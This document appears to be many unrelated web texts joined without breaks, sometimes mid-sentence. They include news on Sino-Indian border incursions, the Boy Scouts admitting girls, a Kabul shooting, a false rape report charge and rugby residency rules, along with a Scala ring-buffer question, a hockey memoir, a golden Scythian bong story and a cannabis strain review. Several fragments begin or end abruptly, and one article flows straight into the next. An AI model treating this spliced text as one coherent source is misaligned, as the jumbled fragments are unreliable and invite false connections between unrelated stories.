In addition to Bell, Miano and Zlokovic, other authors of the paper include Rashid Deane, Ph.D., research professor; Nienwen Chow, Ph.D., a scientist at Socratech; Xiaochun Long, Ph.D., research assistant professor; Abhay Sagare, Ph.D., instructor; post-doctoral associate Itender Singh, Ph.D.; Jeffrey Streb, Ph.D., a former graduate student and now a post-doctoral researcher at UCLA; Huang Guo, Ph.D., research assistant professor; pathologist Ana Rubio, M.D., Ph.D.; and William Van Nostrand, Ph.D., of Stony Brook University Medical Center.When I was 15, my friend bought a double-perc bong with a blown-glass octopus on the side, and everyone thought it was the coolest shit in the world until he got too high and knocked it off a park bench and it shattered. It turns out that his 16-inch color-changing glass bong was not as cool as we all thought it was back in freshman year of high school—archaeologists in Russia recently dug up some much fancier weed-smoking devices that date as far back as 2,400 years ago, National Geographicreports.
The bongs are solid gold and were found buried in "kurgans," or grave mounds. Archaeologists believe them to have once belonged to Scythian chiefs—a nomadic people who founded a powerful empire based in an area that is now Crimea. The golden bongs still have bits of weed and opium resin in the bowls, and archaeologist Anton Gass told National Geographic that the fact that "both drugs were being used simultaneously is beyond doubt." Hell yeah.
These pre-biblical humans may not have had ice catches or percolators, but they did have solid gold bongs stamped with exquisitely detailed scenes of bravery and violence which they used to rip dirty bowls of weed and opium. That's cooler than a glass octopus.
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Some golden, non-bong Scythian relics. Photo via WikiCommonsA Michigan college student was charged Monday with falsely reporting a rape to campus police.
Delta College student Mary Zolkowski, 21, faces felony charges after she told officials contradicting stories about an alleged rape at the university, according to Michigan Live.
Zolkowski reportedly told police she was walking to her car when a man grabbed her from behind and raped her without a condom while holding her face and throat. She said she only saw the man’s hands and he fled in a car before she could see his face.
The student refused a physical exam after the alleged incident.
When investigators met with her a second time, they reportedly noticed discrepancies in her story.
WOMAN, 25, CONVICTED FOR MAKING UP FAKE RAPE CLAIMS AGAINST 15 INNOCENT MEN
Police said in Zolkowski's second version, the suspect was an acquaintance and she had been raped at an apartment -- but she said she didn't give consent because she was intoxicated, Michigan Live reported.
Zolkowski reportedly apologized for the confusion during the interview and said she didn’t want to press charges against the suspect, according to Michigan Live.
In a third interview, she reportedly changed her story again — telling police she wanted to tell the suspect to stop during sex, but it was over before she was able to.
Zolkowski was arraigned Monday in Bay County District Court for one count of false report of a felony. If convicted, she faces up to four years in prison and a $2,000 fine.China claims approximately 90,000 sq km of territory in Arunachal Pradesh
Itanagar: In yet another incident of Chinese incursion, about 250 soldiers of China's Peoples Liberation Army entered Arunachal Pradesh's east district of Kameng four days ago, defence sources said on Tuesday.
The "temporary transgression" by the Chinese patrolling party happened in Yangste, East kameng district on June 9, they said.
However, the soldiers went back within hours, they added.
Significantly, the Chinese crossing-over happened at a time when Beijing had hardened its opposition against India's bid for membership of the 48-member Nuclear Suppliers Group (NSG).
This is the second known transgression by the Chinese army this year in the region, which China claims is part of its territory.
Chinese troops again entered almost six km deep inside Indian territory near the Pangong lake area of Ladakh region on March 8 but a patrol of Indo-Tibetan Border Police (ITBP) sent them back in two hours, reported Hindustan Times earlier this year.
Chinese, however, denied any incident of incursion with its Foreign Ministry spokesman Lu Kongsaying, "There is no such thing as going beyond the border"
The Chinese troops spent about three hours on this side of the border before going back to their territory, the sources said. China claims approximately 90,000 sq km of territory in Arunachal Pradesh besides 38,000 sq km in Jammu and Kashmir sector.
The area where the Chinese troops came had seen 21 days standoff between PLA and Indian Army in April 2013 which took place ahead of the then Chinese Premier Li Keqiang's visit to India.
It was sorted out after hectic round of negotiations following which the Chinese troops withdrew. China has been in denial mode over repeated incursions by the PLA.
Both the sides have established Working Mechanism for Consultation and Coordination along the Line of Actual Control (LAC) to discuss the issue of incursions and aggressive border patrols by their troops along the 3,488-km long disputed border.
A transgression is for a short period, unlike an incursion where the troops remain stationed in an attempt to dominate the area, like the three week stand off between the Indian Chinese troops in Dault Beg Oldi area. As per figures available with MHA, there are cases of transgression due to difference in perception of Line of Actual Control (LAC). The transgression by PLA on Indo China Border during the period from 2010-2014 (up to August 4, 2014) are as under:
2010 228
2011 213
2012 426
2013 411
2014 (Up to August 4, 2014) 334
Recurring incidents of incursions, implementation of an agreement to reduce tensions between border patrols and Sino-India strategic concerns were among the issues that figured in Defence Minister Manohar Parrikar's visit to China in April.
(With PTI inputs)(CNN) The Boy Scouts will soon include girls, and not everyone's happy about it.
The 107-year-old organization announced Wednesday that younger girls will be allowed to join Cub Scouts and that older girls will be eligible to earn the prestigious rank of Eagle Scout.
"The historic decision comes after years of receiving requests from families and girls," Boy Scouts of America said in a statement. The group said it considered input from current members and leaders before making the decision.
BSA said the expansion is also aimed at helping busy families consolidate programs for their children.
"Families today are busier and more diverse than ever. Most are dual-earners and there are more single-parent households than ever before, making convenient programs that serve the whole family more appealing," the BSA statement said.
The announcement drew praise from scouting leaders, mixed reactions from women's groups and indirect criticism from Girl Scouts USA.
Friction with Girl Scouts
For months, Girl Scouts USA had a notion BSA would try to start recruiting girls. In August, Buzzfeed News obtained a strongly worded letter in which GSUSA President Kathy Hopinkah Hannan accused the BSA of courting girls to boost falling enrollment numbers.
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On Wednesday, Girl Scouts responded to the BSA's announcement without explicitly naming the Boy Scouts.
"The need for female leadership has never been clearer or more urgent than it is today -- and only Girl Scouts has the expertise to give girls and young women the tools they need for success," Girl Scouts USA said.
"The benefit of the single-gender environment has been well-documented by educators, scholars, other girl- and youth-serving organizations, and Girl Scouts and their families. Girl Scouts offers a one-of-a-kind experience for girls with a program tailored specifically to their unique developmental needs."
'The future is bright'
But scouting leaders lauded the expansion, which will begin in 2018.
Zach Wahls, co-founder of the nonprofit Scouts for Equality, said the development was "yet another step forward," for the Boy Scouts.
"Today, the Boy Scouts have made clear they have heard the millions of girls and their families and will allow Scouts of all genders to participate as full members and earn the rank of Eagle," Wahls, an Eagle Scout, said in a statement Wednesday.
"We are proud of the Boy Scouts of America for taking this step forward, and we believe the future is bright for Scouting in America."
Ahmad Alhendawi, the Secretary-General and CEO of World Scouting, tweeted: " "I welcome @boyscouts decision to integrate girls in their programs. On #DayOfTheGirl, we affirm #Scouting commitment to girls empowerment."
I welcome @boyscouts decision to integrate girls in their programs. On #DayoftheGirl, we reaffirm #Scouting commitment to girls empowerment. pic.twitter.com/0t5a2Z6W1t — Ahmad Alhendawi (@AhmadAlhendawi) October 11, 2017
The National Organization for Women had a mixed response to the Boy Scouts' announcement.
"I think it's a good thing in that the Boy Scouts have a long history of discrimination and they are taking action," NOW President Toni Van Pelt said. "The devil is in the details and we need to wait and see how this plays out."
The news also received mixed reactions on social media, with some critics calling the move unnecessary and "PC."
Donald Trump Jr. also weighed in, saying, "Strange, I thought that's what the Girl Scouts was for???."
Strange, I thought that's what the Girl Scouts was for??? https://t.co/8Dhub01Ihi — Donald Trump Jr. (@DonaldJTrumpJr) October 11, 2017
The National Catholic Committee on Scouting, whose stated mission is to ensure the Boy Scouts "as a viable form of youth ministry with the Catholic youth of our nation," said it has accepted the BSA's decision but did not offer a formal opinion.
"Once we have had more time to review the policy and a chance to consult our national membership, we will be able to comment further about how this new policy will reflect changes in the makeup of Catholic chartered units in the Boy Scouts of America," the committee said in a statement.
A new prestigious goal for girls
The decision to allow girls to achieve the rank of Eagle Scout is significant for several reasons.
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The rank of Eagle Scout is a prestigious and widely recognized achievement, one that can have long-term benefits in academic, professional and even military spheres. Attorney General Jeff Sessions, Neil Armstrong and Former US Secretary of Defense Robert Gates are just a few notable men who have attained the rank of Eagle Scout
While there is a rough equivalent in the Girl Scouts -- the Gold Award -- the honor is not nearly as well-known as the Eagle Scout distinction.An Afghan employee has killed one US citizen and wounded another before being shot dead at a compound believed to house a CIA station, officials say.
The incident in Kabul took place on Sunday night at the facility, previously known as the Ariana hotel.
It comes two weeks after militants attacked the US embassy and government buildings in Kabul, leaving 25 dead.
The motives for the shooting are as yet unclear. Afghan CIA employees usually undergo rigorous security screening.
The BBC's Paul Wood in Kabul says that it is unclear if the gunman was a Taliban recruit or if the shooting happened as a result of a personal dispute which escalated into serious bloodshed because of the presence of weapons.
According to one source, when the gunman opened fire he was shooting in all directions, our correspondent reports.
Afghan counter-intelligence sources told the BBC that their personnel in the area heard an explosion and gunfire which lasted nearly 10 minutes.
The compound is located in the most secure part of Kabul - near the US embassy and Nato military bases.
Meanwhile, a source in the nearby Afghan presidential palace told the BBC: "After the explosion was heard, an Afghan National Army (ANA) vehicle was passing. CIA-employed guards opened fire on the vehicle, thinking it had attacked them."
The sources said that two ANA soldiers, one CIA guard and one presidential guard were injured.
Earlier this week, Burhanuddin Rabbani, the chief of Afghanistan's High Peace Council, was killed in a suicide bomb attack in the Afghan capital.I guess I can’t keep starting my articles off by saying how I never thought I’d be able to do X, but just did X. Grand Prix Atlantic City is now in the books and, for the second time in as many tournaments, I was able to cross something off my Magic bucket list.
I don’t want to say that winning the GP was easy. There are a lot of people who tried really hard and played really well only to come up short. But the truth is that this tournament did not feel like the usual grind you would expect from sixteen rounds of Swiss and three elimination matches against some of the best players in the world.
Jon Finkel said that in every situation, there is one correct play, and that everything else is a mistake. I love that sentiment and the philosophy behind it. It allows you to strive for perfection, focus on what you can actually control, and keep an even temperament when variance rears its ugly head. Try to make the best play, hold yourself to the highest standard, and let the chips fall where they may.
A corollary of that thought is the idea that if both players play perfect Magic, the outcome is completely scripted once you shuffle and present. Instead of looking at skill as the ability to outplay opponents, you can imagine measuring it by the amount your plays deviate from this ideal script. While it won’t guarantee victory, perfect play will maximize your long-term results.
What I’m getting at is that there are games of Magic that should be won, even against a perfect opponent. That’s how I felt in Atlantic City. I
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grievances fit into a universal theme of persecution against all Muslims.
Current counter-radicalisation approaches lack the mainly positive, empowering appeal and sweep of Isis’s story of the world; and the personalised and intimate approach to individuals across the world.
The first step to combating Isis is to understand it. We have yet to do so. That failure costs us dear.The federal cabinet will meet next week to discuss deploying Canada's CF-18 fighter jets to join a U.S.-led campaign against the Islamic State in Iraq and Syria, CBC News has learned.
Sources tell CBC News U.S. President Barack Obama brought the idea of an air war conducted by an international coalition to Prime Minister Stephen Harper in August and asked for Canada's support.
Harper agreed to send military advisers to Iraq to scope out what Canada could offer. Canada has deployed 69 special forces advisers in Iraq to date.
The United Kingdom, France, the Netherlands and Arab countries in the meantime offered to send fighter jets. With those commitments in mind and with information from Canada's advisers on the ground, Harper decided to take the option of sending CF-18s to his cabinet.
Harper hinted at increased action before
Yesterday, Harper hinted in an interview with the Wall Street Journal that Canada may be ready for an increased role.
"We need to push them to the fringes and make their basic organization and logistical existence very difficult on an ongoing basis," he said. "A lot of that can be done from the air."
Obama called on nations to support the American-led coalition at the United Nations General Assembly on Wednesday.
"There can be no reasoning, no negotiation, with this brand of evil," he said.
Canada, along with several European and Middle Eastern countries, has joined the coalition.
But only the U.S., Saudi Arabia, Bahrain, Jordan, Qatar and the United Arab Emirates have participated in airstrikes against ISIS targets in Syria. France has participated in some airstrikes in Iraq, and MPs in the U.K. are set to vote Friday about the possibility of assisting with airstrikes against ISIS targets in Iraq — but not Syria.
Canada currently has some CF-18 fighter jets patrolling eastern Europe, said Thomas Juneau, a former analyst for the Department of Defence.
"Does it mean it's impossible for Canada to deploy CF-18 fighter aircraft in addition to that in the Iraqi theatre?" he asked. "That really depends on how much. For how long."
Harper said he wants to meet with his cabinet before anything is decided. The meeting is expected to take place next week.Gov. Rick Perry (R-TX) today issued a proclamation calling upon Texans to pray for rain from Friday to Sunday, April 24, in order to combat the state's "exceptional drought."
WHEREAS, the state of Texas is in the midst of an exceptional drought, with some parts of the state receiving no significant rainfall for almost three months, matching rainfall deficit records dating back to the 1930s... NOW, THEREFORE, I, RICK PERRY, Governor of Texas, under the authority vested in me by the Constitution and Statutes of the State of Texas, do hereby proclaim the three-day period from Friday, April 22, 2011, to Sunday, April 24, 2011, as Days of Prayer for Rain in the State of Texas. I urge Texans of all faiths and traditions to offer prayers on that day for the healing of our land, the rebuilding of our communities and the restoration of our normal way of life.as a beginner in Scala - functional way, I'm little bit confused about whether should I put functions/methods for my case class inside such class (and then use things like method chaining, IDE hinting) or whether it is more functional approach to define functions outside the case class. Let's consider both approaches on very simple implementation of ring buffer:
1/ methods inside case class
case class RingBuffer[T](index: Int, data: Seq[T]) { def shiftLeft: RingBuffer[T] = RingBuffer((index + 1) % data.size, data) def shiftRight: RingBuffer[T] = RingBuffer((index + data.size - 1) % data.size, data) def update(value: T) = RingBuffer(index, data.updated(index, value)) def head: T = data(index) def length: Int = data.length }
Using this approach, you can do stuff like methods chaining and IDE will be able to hint methods in such case:
val buffer = RingBuffer(0, Seq(1,2,3,4,5)) // 1,2,3,4,5 buffer.head // 1 val buffer2 = buffer.shiftLeft.shiftLeft // 3,4,5,1,2 buffer2.head // 3
2/ functions outside case class
case class RingBuffer[T](index: Int, data: Seq[T]) def shiftLeft[T](rb: RingBuffer[T]): RingBuffer[T] = RingBuffer((rb.index + 1) % rb.data.size, rb.data) def shiftRight[T](rb: RingBuffer[T]): RingBuffer[T] = RingBuffer((rb.index + rb.data.size - 1) % rb.data.size, rb.data) def update[T](value: T)(rb: RingBuffer[T]) = RingBuffer(rb.index, rb.data.updated(rb.index, value)) def head[T](rb: RingBuffer[T]): T = rb.data(rb.index) def length[T](rb: RingBuffer[T]): Int = rb.data.length
This approach seems more functional to me, but I'm not sure how practical it is, because for example IDE won't be able to hint you all possible method calls as using methods chaining in previous example.
val buffer = RingBuffer(0, Seq(1,2,3,4,5)) // 1,2,3,4,5 head(buffer) // 1 val buffer2 = shiftLeft(shiftLeft(buffer)) // 3,4,5,1,2 head(buffer2) // 3
Using this approach, the pipe operator functionality can make the above 3rd line more readable:
implicit class Piped[A](private val a: A) extends AnyVal { def |>[B](f: A => B) = f( a ) } val buffer2 = buffer |> shiftLeft |> shiftLeft
Can you please summarize me your own view of advance/disadvance of particular approach and what's the common rule when to use which approach (if any)?
Thanks a lot.Competitive sports have always been like good friends of mine — constant companions on my journey through life. They fire my passion and bring me great joy and occasional sadness. They help me stay fit, healthy and sane. Like friends of the corporeal variety, however, they’ve begun to disappear one by one as I’ve gotten older.
Last season, at the age of 56, I had to say goodbye to ultimate, the team disc sport I’ve played since the mid-1980s. I stopped because it hurt more to play than to not play. Now I wonder if my best buddy, competitive hockey, will be the next to go.
For each of the last 49 years, I’ve played hockey in a league — with referees and standings, teammates and opponents, winners and losers. As a kid, I sometimes wore a toque under my helmet because the rink had no roof yet. In minor hockey, I played mostly on competitive teams, but I was never quite good enough to crack the lineup of a junior or university team. As an adult recreational player, I’ve been the strongest player on weak teams and the weakest player on strong teams. And in every game, the goal has been the same: to play well, to compete and to lose myself in the exhilaration of the moment.
I’ve enjoyed a great run, but the feeling has changed significantly over the past couple of seasons. The fun is disappearing faster than a pitcher of post-game beer.
It’s the same struggle anyone lucky to live long enough must face, of course: the inexorable decline in physical ability. I’ve overcome my fair share of injuries — torn rotator cuffs, a broken thumb — with the help of surgeons, physiotherapists and a solemn commitment to rehabilitation. In recent years, though, the decline has accelerated noticeably; I’m looking over the steep cliff of my mortality and it leaves me feeling empty.
A new foe now stands between me and my friend: osteoarthritis. Whenever I shoot, pass or handle the puck, my hip and leg bones rub together painfully. Without the puck, I can skate at a decent pace, but often end up feeling like a spectator at the back of the hall—able to hear the show but not experience the full glory of the performance.
There are options, of course. I could play at a lower level. A few years ago, while recovering from injury, I skated with a group of older, weaker players. I didn’t enjoy it, though, because it wasn’t competitive enough. And while casual pickup hockey and outdoor shinny remain good friends, the relationships have never been nearly as deep and satisfying.
There’s also the matter of the team I’ve played on for the past 23 seasons — Irene’s Jets. The core of the team has been together for more than a decade; five of us remain from my first season, along with a few others who joined a season or two later.
The Jets are as much a social club as a hockey team. We do our best on the ice and enjoy a beer together afterwards. We say “we” and “us,” and admit to our own mistakes and shortcomings rather than to each other’s. We all recognize who the stronger and weaker players among us are, though. Part of my struggle has been to accept moving from the former group to the latter.
For years, I was an impact player; I occasionally led the team in scoring and in one season somehow managed to lead the league. The only time we won a championship — in a hard-fought 1-0 final game — I scored the winner, although more on luck than on skill. Those memories grow ever distant.
As we’ve aged, the Jets have slid down from the better divisions to the weaker ones. A few years ago, the league put us in a 35-and-over division; many of us joke about being only 15-to-20 years older than our opponents. But the truth is that our impact players are now almost exclusively our younger players — guys in their late 30s and early 40s.
As someone who believes that there’s no “I” in team, I recognize that if I can’t contribute on the ice, I should sit out. Now I’m at that point. I’ve exhausted all of the non-surgical treatment options, including physiotherapy, targeted exercises and a hip injection.
I meet with a surgeon next month. It’s a decision that I won’t take lightly, although surgery feels inevitable. Without it, though, the list of former friends is likely to continue to grow. I want to suit up with the Jets again. And I’m determined to hold on to all of my friends — on and off the ice — as long as possible.
Peter McKinnon is an Ottawa writer.Share This Article:
Opera NEO, San Diego’s alternative opera company, opens its fifth summer season Sunday with a free aria marathon.
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Young opera artists from around the country come to San Diego each summer to study with the company’s international opera professionals and perform in fully staged productions.
The 2016 season includes four shows:
Aria Marathon — Sunday, July 17, 6 p.m., at Palisades Presbyterian Church Sanctuary, 6301 Birchwood Street, San Diego. Each on the new artists will perform an aria at this free performance.
— Sunday, July 17, 6 p.m., at Palisades Presbyterian Church Sanctuary, 6301 Birchwood Street, San Diego. Each on the new artists will perform an aria at this free performance. Cabaret — Friday and Saturday, July 29-30, 7:30 p.m., at the Encinitas Library, 540 Cornish Drive. This event features performances of opera, operetta, and musical theater scenes served with hors d’oeuvres, desserts, and wine.
— Friday and Saturday, July 29-30, 7:30 p.m., at the Encinitas Library, 540 Cornish Drive. This event features performances of opera, operetta, and musical theater scenes served with hors d’oeuvres, desserts, and wine. The Fairy Queen — Friday and Saturday, Aug. 5-6, 7:30 p.m., at Palisades Presbyterian Church Sanctuary, 6301 Birchwood Street, San Diego. This semi-staged production of Henry Purcell’s opera commemorates the 400th anniversary of Shakespeare’s death.
— Friday and Saturday, Aug. 5-6, 7:30 p.m., at Palisades Presbyterian Church Sanctuary, 6301 Birchwood Street, San Diego. This semi-staged production of Henry Purcell’s opera commemorates the 400th anniversary of Shakespeare’s death. Don Giovanni — Friday and Saturday, Aug. 12-13, 8 p.m., Palisades Amphitheater, 6301 Birchwood Street, San Diego. The season concludes with Mozart’s famous opera about the legendary libertine.
“There are thousands of young singers graduating each year from university and college opera programs, many of them with graduate degrees,” said Opera NEO founder and artistic director Peter Kozma. “But very few are able to bridge the gap between their academic experience and the expectations of professional opera companies.”
“Opera NEO helps the most talented singers bridge this gap by providing experience, knowledge and networking while building their confidence and providing fresh new productions to the San Diego community,” he added.
Tickets for the cabaret and operas are $20 to $45, with student tickets at $12, and available online at www.operaneo.com. Admission to the Aria Marathon is free, with a suggested donation of $25.
Opera NEO Opens Summer Season with Aria Marathon was last modified: by
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Follow Us:World Rugby chief executive Brett Gosper has indicated that the game's governing body is prepared to review its controversial three-year residency rule for test eligibility as the combination of cashed-up clubs and global player movement test the international game's standing and integrity like never before in the professional era.
"I think obviously there is a concentration of club wealth in the northern hemisphere, there's no question that the salaries are very high in France and in England and it's very tempting for players to ply their trade in the northern hemisphere," Gosper said.
"Each union in the southern hemisphere must find ways so that it's attractive still for those players to remain where they are, playing in SANZAR competitions, playing with the union they've grown up with and so on, but in terms of the residency laws, this was looked at a few years ago and it was determined that the laws as they were seemed to be right for that particular time.
"That was about three or four years ago. I know that [World Rugby] president [Bernard] Lapasset has indicated that this may be something we need to look at again in the future, and look at whether the three-year residency is enough to ensure that integrity of the international game, so that may be something that may need to be looked at."
Pressed on whether the sheer volume of players – and their young age – who have shifted countries had hastened the need for a review, Gosper said: "You want to preserve the specialness of the international game and therefore while club sides are gathering all-stars from around the world, and top international players, I think there is a feeling that there has to be some steps taken to ensure that the profile of the national team has that integrity, so I think in the mind of president Lapasset, who's suggested we do look at this, that would be something that we're considering."
Any change to the rule would have enormous global implications. France selected players from South Africa, Fiji and New Zealand (of Samoan heritage) in this year's Six Nations, while Ireland have handed Brian O'Driscoll's famous No 13 jersey to a New Zealander, Jared Payne. Scotland have been buying up young South Africans, New Zealanders and Australians for a number of years with a view to 'converting' them after the three-year residency period.
For the Wallabies, it would be something of a double-edged sword. International recruiters, especially the French, are clearly targeting young, uncapped Australians such as Paul Alo-Emile, but on the other hand an extension to the three-year period could hit the likes of rising Rebels winger Sefanaia Naivalu, a Fijian. Henry Speight, another Fijian import, would still not be eligible if, for example, the residency period was lengthened to five years.
The three-year residency period has been lambasted for being too short, allowing players to effectively change nationality with too much ease, and Gosper suggested that opinion was gathering strength in the top echelons of the governing body.
"When that [the residency rule] was determined, I don't think there was quite the flow of of players in international movement that it's become in recent years, through Europe and Japan, and so on," he said. "So maybe it's time to take a look at that, and see if that's correct or some adjustment needs to be made."
Such a change is not an immediate possibility. "That's something that would have to be voted on by the World Rugby council," Gosper said. "It's not just a simple decision. It would be the result of some work by a working group and then a vote and so on, and require quite strong support for any change to be made to the residency rules."
Nevertheless, critics of the rule will be cheering from the rooftops that World Rugby has even put it for discussion.
Gosper also reaffirmed his determination to keep enforcing the so-called 'Regulation 9', the World Rugby rule that forces clubs to release their players for international duties. "It's critical that those players are available because international rugby drives in large part the economics of the game," Gosper said. "We're determined to protect Reg 9, which protects the international game."
That, no doubt, will be music to the ears of the Australian Rugby Union as it prepares to select more and more players who are contracted to overseas clubs.WELLINGTON (Reuters) - Britain’s Foreign Secretary Boris Johnson on Tuesday appeared to deny there was any infighting within the governing Conservative party during a visit to New Zealand, where he said the country was near the top of the queue for a trade deal post-Brexit.
Johnson played down recent media reports in London of infighting in the Conservative party along the lines of the Leave-Remain rifts it suffered during the referendum.
Britain kicked off a first full round of negotiations with the European Union last week, a year after Britons voted narrowly to leave the European Union, but their government seemed at war with itself over the divorce terms.
Asked whether the infighting within the party could compromise Britain’s ability to clinch a timely, post-Brexit deal with the EU, Johnson said:
“I don’t wish in any way to sound complacent but I have been traveling in Japan and the now beautiful New Zealand and any such activities completely passed me by.... no one has sent me news of any such infighting,” Johnson told a news conference in Wellington.
“Our friends and partners around the world can be confident that we are going to get this thing done and done in style.”
Johnson, whose backing helped secure a four-point victory for the Leave camp in June last year, said that no one would be worse off as a result of Brexit including New Zealand.
He said New Zealand was near the front of the queue for a trade deal with Britain once the latter left the European Union.
Johnson said Brexit is not about Britain turning away from the world but, on the contrary, it is about “rediscovering and intensifying friendships and partnerships around the world.”
Slideshow (3 Images)
“In trying to do that we see New Zealand at or near the front of the queue.”
Neither Johnson nor New Zealand Foreign Minister Gerry Brownlee gave many specifics on the details and timing of a future deal. Asked whether this would happen any time soon, Brownlee said:
“They have to formally exit the European Union before they can engage in those discussions,” he said.Plus, more details on the upcoming movie
Hey everyone, It’s been a dream of ours for years at Insomniac to see Ratchet & Clank on the big screen. We think the entire Ratchet & Clank universe is a perfect fit for moviegoers, from our unique cast of intergalactic characters and outrageous weapons to the majestic planets and cheeky humor. So it’s with great pride I get to announce that Insomniac will continue our involvement with the Ratchet & Clank movie while developing a game that re-imagines the original Ratchet & Clank for PS4.
As was mentioned during Sony’s press conference, the game will share the film’s vision of Ratchet’s origin story, and features updated gameplay along with completely new visuals that rival the best PS4 games on the market. Both the movie and game will be available in the first half of 2015.
Our California and North Carolina studios will work on the game together – marking our deepest cross-country collaboration since the Durham studio was founded in 2009. Many of the original developers responsible for the very first Ratchet & Clank game will get an opportunity to create the stunning Solana Galaxy our fans have been clamoring for. Longtime Design Director Brian Allgeier, North Carolina Studio Director Chad Dezern and Game Director Shaun McCabe will lead the project.
I’ve been personally involved with the Ratchet & Clank movie since pre-production began. Hopefully, you had a chance to see the film trailer shown during the press conference. We are happy with how production is progressing as everything feels authentic to the spirit of Ratchet & Clank. In fact, our key characters are voiced in the movie by the same fine folks who bring them to life in our games – talented actors such as James Arnold Taylor (Ratchet), David Kaye (Clank) and Jim Ward (Qwark) reprise their famous roles while we have a surprise or two still planned.
Former Insomniac scribe-turned-Hollywood screenwriter TJ Fixman wrote the Ratchet & Clank movie’s original script. Renowned award-winning Insomniac artists David Guertin and Greg Baldwin created the character concepts for some of the new creatures appearing in the film — operating under their spectacular Creaturebox label. And former Insomniac animation director Oliver Wade is helping oversee animation production at Rainmaker Entertainment.
We can’t wait to show you more from both the game and the movie. Expect to catch your first glimpse of the PS4 Ratchet & Clank game this fall – follow us on our social channels below to learn more. In the meantime, we hope you’ve polished off Ratchet & Clank: Into the Nexus or are brushing up on the PS2 classic games through the HD Collection on PlayStation 3. Of course, you can also get your Ratchet & Clank fix on PS Vita via the HD Trilogy starting this July. Thanks for stopping by, and as always, you can ping Insomniac via our Facebook page or Twitter.A FATHER of two has been extradited from the UK to Ireland on serious assault charges following a violent clash between Traveller families at Dublin's Smithfield horse fair three years ago.
Simon Quilligan (31) was refused bail at Dublin District Court after a judge was told he was alleged to have nearly severed one man's arm with a slash hook and inflicted serious head wounds on another.
Gardai alleged that Mr Quilligan had evaded them by travelling around Europe since the horse fair clash, during which another man fired a gun "indiscriminately" into a crowd.
Judge John O'Neill remanded him in custody for a week for the preparation of a book of evidence. Mr Quilligan, of no fixed address is charged with assault causing serious harm to Wesley McDonagh at Smithfield on March 6, 2011.
dispute
He is also charged with assault causing harm to Michael McInerney, violent disorder and producing a slash hook in the course of a dispute.
Garda Colm Kelly of the Bridewell Station said the accused was arrested by police in England on July 19 and returned to Ireland yesterday.
Mr Quilligan made no reply to any of the charges when they were put to him. The court heard the DPP directed trial on indictment.
Garda Kelly objected to bail on the grounds of the seriousness of the charges, the strength of the proposed evidence, a belief that the accused was a flight risk and that he would interfere with witnesses.
He said the incident was a violent fracas that broke out between a number of Traveller families. It was alleged that the accused attacked members of the McDonagh and McInerney families with a slash hook.
He was alleged to have struck Wesley McDonagh, almost severing his left arm. Mr McDonagh underwent a number of operations to save the arm but was left without full function of the limb.
The alleged attack on Mr McInerney resulted in a serious laceration to his head. CCTV cameras captured the incident, as well as RTE cameras.
Garda Kelly said the accused got a ferry to Holland days after the incident, had moved around that country, Belgium and the UK and was "actively pursued" by gardai.
On the ferry back to Ireland, he allegedly told the garda he had "a million pounds buried in the ground".
The court heard a number of other people, including the accused's brother Christopher, have already been sentenced for their role in the trouble.
Applying for bail, the accused's lawyer said Mr Quilligan had initially been arrested by Belgian police. The accused had then been on his way home through England when his "plans were interrupted" and he was arrested there. He consented to being returned to Ireland.
Mr Quilligan said he would abide by any bail conditions, including surrendering his passport. Judge O'Neill refused bail and remanded him in custody to appear in Cloverhill District Court next week.
[email protected] so much talk about what the Philadelphia Eagles plan on doing in 2013 with their offense, everyone seems to forget their defense has gone through a complete overhaul as well. With the Bill Davis defensive era beginning and the Wide-9 becoming ancient history, the Eagles look to move in the direction of a 3-4-style defense. The 3-4 has been very successful around the league and when all the pieces fit, the 3-4 can be overwhelming to opposing offenses.
Transitioning to this defense, however, is a whole different story. Although, Brandon Graham and Trent Cole are better suited for the speed of the 3-4, no one is quite sure how they will be used. Eagles defensive coordinator Bill Davis has offered as many clues to his defense as Chip Kelly to the offense — none. No one can seem to figure out exactly how Cole or Graham will fit into this equation.
Luckily for us, as fans, training camp is inching ever so close, and this should offer our first glimpses of who is going to be where. One would assume Fletcher Cox is going be in the middle, but again, who knows? Will Cole be in his usual four point stance on the line or lined up as a rushing backer? Learning the new stunts and schemes is what professionals do, but learning them in a month with a new defensive coordinator might be too much to ask.
All speculation aside, the 3-4 is what is here now and here to stay. Kelly and Davis firmly believe this is the best defense to make the Eagles defense as potentially high powered as their offense. Look for a speed rusher like Cole to benefit more from the 3-4 that he ever did from the Wide-9. The 3-4 does allow for more short range coverage schemes, and given that this seems to be the nature of the NFC East, this should give more flexibility and create more turnover opportunities.
Look for the Eagles to possibly start more slowly on defense as they learn exactly what their expectations are. As this season progresses, look for the professionals and stars to really show up and embrace the new attack of the 3-4. This is definitely a defense that when used correctly, and healthy, can really complement the explosiveness of Kelly’s offense.Strain Name: Grape Kush
Grade: B+
Type: Indica
Looks: The nug is pretty dense and very colorful. If has a even distribution of dark green and a very light purple. It is not as manicured as other buds that i get from the dispensary but i think That they were mainly left for color. It has a light crystal pack but very nice short medium brown hairs that cover the entire nug.
Smell: The smell is very strong and has that characteristic kush like smell. The best part of the intoxicating smell is the overwhelming chocolate grape smell that stays in your nose and mouth for quite awhile.
Taste: The taste is a little too light and disappears far to quickly after the bowl has been hit. What is there is a sweet grape soda like taste with a mix of skunky kush.
Effects: The high comes on very quick and by the time your done with your first hit you definitely feel it. It is very stony and friendly. It makes you very happy and ” giggly “. This is perfect for complete relaxation without getting completely knocked out. My advice when smoking this strain is get a good movie sit as that’s all you will want to do after smoking this strong indica.
Potency: 1-2 hrs
Reviewed by: Str8bonginSep 25, 2016; Charlotte, NC, USA; Carolina Panthers outside linebacker Thomas Davis (58) dives for the tackle on Minnesota Vikings tight end Kyle Rudolph (82) during the second half at Bank of America Stadium. Mandatory Credit: Jim Dedmon-USA TODAY Sports
After an amazing come from behind win against the NFC Champion Carolina Panthers, Pro Football Focus has rated three Minnesota Vikings as the top players at their position for week 3.
Pro Football Focus, the football analytics measuring website owned by Cris Collinsworth, has a lot of good analytics stats for the NFL. They have grown to be a very popular site over the last few years.
Every week PFF uses their grading system to put together a team consisting of the top players at every position in the NFL. This week’s top players consists of three Minnesota Vikings.
On the offensive side of the ball, PFF ranked Kyle Rudolph as the league’s top tight end. Here is what they had to say about Rudolph.
Tight end: Kyle Rudolph, Minnesota Vikings, 86.0 – While Kyle Rudolph has always possessed immense physical talent, this year he is starting to consistently make use of it on the field. Rudolph caught seven of the eight passes thrown his way for 70 yards and a touchdown, snaring the score from over the head of Panthers LB Shaq Thompson.
On the defensive side of the ball, PFF ranked Harrison Smith as the league’s top free safety. Here is what they had to say about Smith.
